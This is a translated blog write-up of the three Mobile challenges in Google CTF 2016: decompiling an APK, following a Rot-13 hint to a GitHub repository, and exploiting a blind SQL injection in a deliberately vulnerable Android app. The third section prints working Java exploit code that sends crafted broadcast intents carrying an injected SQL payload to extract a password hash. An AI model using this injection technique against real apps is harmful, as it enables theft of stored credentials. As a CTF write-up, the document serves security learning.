📜 ⬆️ ⬇️

Analysis of tasks with Google CTF 2016: Mobile



Intro


Yesterday for the first time the flag capture competitions organized by Google, Google Capture The Flag 2016, were over . The competition lasted two days, during which it was necessary to squeeze out as many flags as possible from the proposed tasks. The format of the competition is task-based / jeopardy .
')
As stated by Google, the tasks for this CTF were people who are employees of the Google security team. Therefore, interest in these tasks, as well as to the first GCTF as a whole, was quite large - only 2500 teams were registered, of which, however, only 900 scored at least 5 points on the task solution (omitting bots and a few attempts to play is not fair). Anyone could take part, ranging from rookie and security lovers to industry legends. In addition, it was possible to participate alone.

Most of the 2 days I picked the task category Mobile. And this hub presents writeup `s of all tasks of this category. Google offered only 3 tasks for Mobile (in others it was 5-6 each), but from this they were, perhaps, even better.

Well, the water is over, go to the point :)



1. Ill Intentions



Task sounds like this:

Do you have ill intentions?
Ill Intentions.APK


On a scale of difficulty from 5 to 300, 150 points were offered for the successful solution of this task.

So, we have the APK in front of us and nothing else. The first thing that comes to mind is installing the package on an emulator and decompiling the package. And this will do.
Hereinafter we will not dwell on technical details, but still it is worth saying that it has recently become possible to make a decompile using the fully automated GUI tool for APK Studio . With it, you can automate the process of decompiling and subsequent assembly + APK signatures. It is clear that the whole “automaton” is built on the same bundle apktool + dex2jar + (java decompiler, for example jd). But I prefer the “old-fashioned” and decompile the APK in semi-manual mode aka “apktool + dex2jar + jd-gui + (set of my scripts)”.

We will try to install "bad intentions" on the emulator, after looking at the minimal version of the Android SDK:



I have emulators with the sixth android (Marshmallow) and 1 version below was not, so I decided to go the other way: convert low-level Smali-code into Java code (classes.dex -> JAR`nik) and from java-sources reconstruct the application. However, not everything turned out to be so sweet.

If you look at the application manifest:



there you can see 4 activities, the first of which is of no interest, and the next 3 clearly speak with their names that they are involved in the flag. Looking at the reconstructed Java code for any of those three, you can see an interesting thing:



And the thing is that the flag calculation routine is partially moved to a lower code level - to the JNI level.
Well, itching to immediately find the computeFlag () function in native C ++ code. To do this, we need to disassemble the native library (.so) hello-jni.
But the fact that there (or rather, what is not there) will not please:



IDA does not say a word about computeFlag () in the lib ... and there is no call to this function anywhere in the Java code - only import.
We conclude that the guys from Google in this way just postebatsya =)

We return to the idea of ​​the reconstruction of the application (creating your own identical APK). Migrating Java code and its “pre-reconstruction” is not a problem, but what can really create them is the import of native functions. Their names were already higher, here they are:



The last function speaks for itself (the banter from Google has already ended) - if it is disassembled and viewed, it will be possible to see that a static line is returned from it - “Told you so!” , So we immediately forget about it.

The names of native functions contain the package name + the name of the class from which (and only from which) they can be called in the Java code - otherwise an error will occur at the stage of calling the function from the high-level code. Therefore, the restored application must exactly repeat the names used in the original APK, and the call to the native JNI functions must come from the corresponding Java classes.

Knowing this, we make the restoration of the code. The code of the ThisIsTheRealOne class and IsThisTheRealOne are largely identical - only the routine for calculating the string (the flag?) In the click method of the onClick () button is different (see above).
Let's modify the code that handles the click by adding at the end of the calculated lines to the log of the Android application:

Log.d("CTF", i.getStringExtra("msg")); 


Having assembled the application, you will have to open the activity (ThisIsTheRealOne and IsThisTheRealOne) using the AM (activity manager) ADB utility, as the application interface does not allow doing this in gui mode (although this can be fixed by adding 5 lines of code, but it is too lazy).

Here is the computed line from the ThisIsTheRealOne activity:

KeepTryingThisIsNotTheActivityYouAreLookingForButHereHaveSomeInternetPoints!


But from IsThisTheRealOne:

Congratulation!YouFoundTheRightActivityHereYouGo-CTF{IDontHaveABadjokeSorry}


Together with the flag, which says that Google does not joke badly. Again banter? :)

2. Can you repo it?



Task sounds like this:

Do you think of public repositories?


On a scale of difficulty from 5 to 300 for the successful solution of this task only 5 points were offered.

During the study of “bad intentions”, the Android resource file of the application containing the lines came across. There are usually a lot of interesting things, and this time was no exception:



Immediately striking flag , frequency cryptanalysis of the contents of which shows that this is most likely the cipher of Caesar. Indeed, it turned out to be a Rot-13, but Google is hitting on those who really think that even 5 points can be given so easily. Making a Rot-13 (Rot-13 ()):

Did you think that?


OK. We'll have to think, well. We need to find a public repository. Most likely this is github. And in order to find a flag on its expanses, you need something truly unique (the name of the user or repository). Directly under the flag is exactly what can be so “truly unique”:

l33tdev42


A simple googling does not give results, which at first somehow knocks out the forces ... but, going to the githab and doing a search for "l33tdev42" there, we stumble upon a unique user:



Which has 1 single project with 3 commits ... the project is simple and there are three commits:



Inside the last one just the right flag:



ctf{TheHairCutTookALoadOffMyMind}


Frankly, 5 points - still not enough for such a task ...
It was the very first task from Mobile, which managed to drag. After it seemed that in tasks for 150 and more there are basically unresolvable tasks, but, as already mentioned, Google is jolting :)

3. Little Bobby Application



Task sounds like this:

Find the vulnerability
submit your apk to bottle-brush-tree.ctfcompetition.com .
Can take up to 15 minutes to return the result.

BobbyApplication_CTF.apk

Link:
Upload your APK, and get the logs ...


On a scale of difficulty from 5 to 300, 250 points were offered for the successful solution of this task.

You need to find a vulnerability in the Android application, write an exploit and using this exploit to pull the flag out of the real user. The exploitability analysis is performed on the emulator on the server. After an average of 13 minutes, the log of the exploit application returns to which you can write anything, but it is better to write a flag there, of course.
At first glance, scary, but do not forget that Google loves jiving.

Here’s what the bobby application looks like:



A simple form for authorization and the possibility of registration. Well, decompile time!
Decompilation showed that the application uses Sqlite to store data with an interestingly designed Users table:



The flag says that injection is all you need to do to get a flag.
The dynamic part of the flag is md5 based on the user's password. This hash should be dragged off using an exploit in order to “collect” the final flag.

We are looking for vulnerability.

This process was quite fast. The application contained only 8 classes and finding the vulnerable module was not a problem. The vulnerability was as follows: at start, the application registered a receiver of broadcast events received from outside:



The handler of the incoming broadcasts was the successor class BroadcastReceiver, which contained the following code:



But the implementation of the checkLogin () method from the body of the handler of the incoming broadcast ʻa:



As you can see, neither the method nor the broadcaster handler filter incoming data, which is then used to generate a “raw” SQL query to the database.
Manual operation has shown that there really is a security hole, allowing to modify the request through the form.

Obviously, the Blind SQLi vulnerability, the checkLogin () method, returns static input-independent strings.
Nevertheless, depending on the number of records selected by the request (which can be controlled by an exploit), we can control the behavior of this method, sucking up 1 bit of information with each malicious request about any field in the database table (and the database itself and anything else), but we are interested in the password field, as mentioned above, for “assembling” the flag.

We write an exploit.

Exploit Algorithm:

  1. Launch the bobby application so that it launches the broadcast event receiver
  2. To form a malicious intent for the receiver with “evil” data inside
  3. Send a broadcast event with an intent containing malicious data.
  4. Receive a response from the Bobby application's receiver about the result
  5. Repeat until all required data is “sucked” character by character.


To implement the exploit, two classes were enough. The code is small, so it is listed below:

The main activity of the exploit:

 public class Main extends Activity { //       Unicode static int L = 0, R = (int)Math.pow(2,16); public static int symbolNum = 0; public static Main activity = null; public static StringBuilder flag = new StringBuilder(); public static void SendBroadcast() { if(Main.symbolNum>32) { Main.Finish(); return; } //   . //         int M = (L+R)/2; Intent maliciousIntent = new Intent(); maliciousIntent.setAction("com.bobbytables.ctf.myapplication_INTENT"); maliciousIntent.putExtra("username", "???\" or unicode(substr(password," + symbolNum + ",1))>" + M + " -- "); maliciousIntent.putExtra("password", "1"); activity.sendBroadcast(maliciousIntent); } public static void Finish() { //      Log.d("FLAG", Main.flag.toString()); Main.activity.finish(); } @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); activity = this; //    ()  onReceive() Bobby- IntentFilter filter = new IntentFilter("com.bobbytables.ctf.myapplication_OUTPUTINTENT"); registerReceiver(new MalReceiver(), filter); //  Bobby- // (  -  ,      ) PackageManager pm = getPackageManager(); Intent intent = pm.getLaunchIntentForPackage("bobbytables.ctf.myapplication"); if (intent != null){ startActivity(intent); } //   ,        Handler handler = new Handler(); handler.postDelayed(new Runnable() { @Override public void run() { SendBroadcast(); } }, 2000); } } 


Bobby answers receiver:

 public class MalReceiver extends BroadcastReceiver { @Override public void onReceive(Context context, Intent intent) { //    Bobby- String answer = intent.getStringExtra("msg"); // SQL TRUE if(answer.compareToIgnoreCase("Incorrect password")==0) { //   Main.L = (Main.L + Main.R)/2; } // SQL FALSE else{ //   Main.R = (Main.L + Main.R)/2; } //  N-    if(Main.R-Main.L <= 1) { Main.flag.append((char)Main.R); Main.symbolNum++; Main.L = 0; Main.R = (int)Math.pow(2,16); } Main.SendBroadcast(); } } 


After that, it remains only to send an exploit to the server to be tested.
After 15 minutes…

Google returns the long-awaited log in which we find:



It remains a trifling matter - to substitute a hash into a flag:

ctf{An injection is all you need to get this flag - 106b826d7d5ec465b0c5d385a41c6ff6}


That's all.

Now a little about how Google mocked the ones who tried to solve this task. It was pretty tricky - immediately after the start of the exploit with the Bobby application on the Android emulator, a monkey started on the server (as seen in the returned log), which “bombed” all the components of the system with random actions, for example, from time to time exploit activity. At first it was unclear what interrupted the work of the exploit - there were no errors about departures in the log, there were impressions that there was a time limit. Anyway, it was possible to suck out the flag successfully only with 3 attempts.

In the expo code above, there is a minimum set of actions that demonstrates the general concept.
What actually happened in practice contains a ton of code for protection against monkey, for banning the launch of more than 1 instance of the receiver on the Bobby side, etc.

Outro


Since I focused on the security of mobile applications, I hardly managed to fully appreciate the “fan” of Google’s tasks, but based on what had to be overcome, I can say for sure that the GCTF turned out to be quite interesting, and in many respects the interest is provided by numerous attempts banter over participants. At such moments, when you realize that you have been “reassured” again, you feel a rush of some kind of “black” motivation =)

Thanks, google, it was interesting;)

Source: https://habr.com/ru/post/282846/


All Articles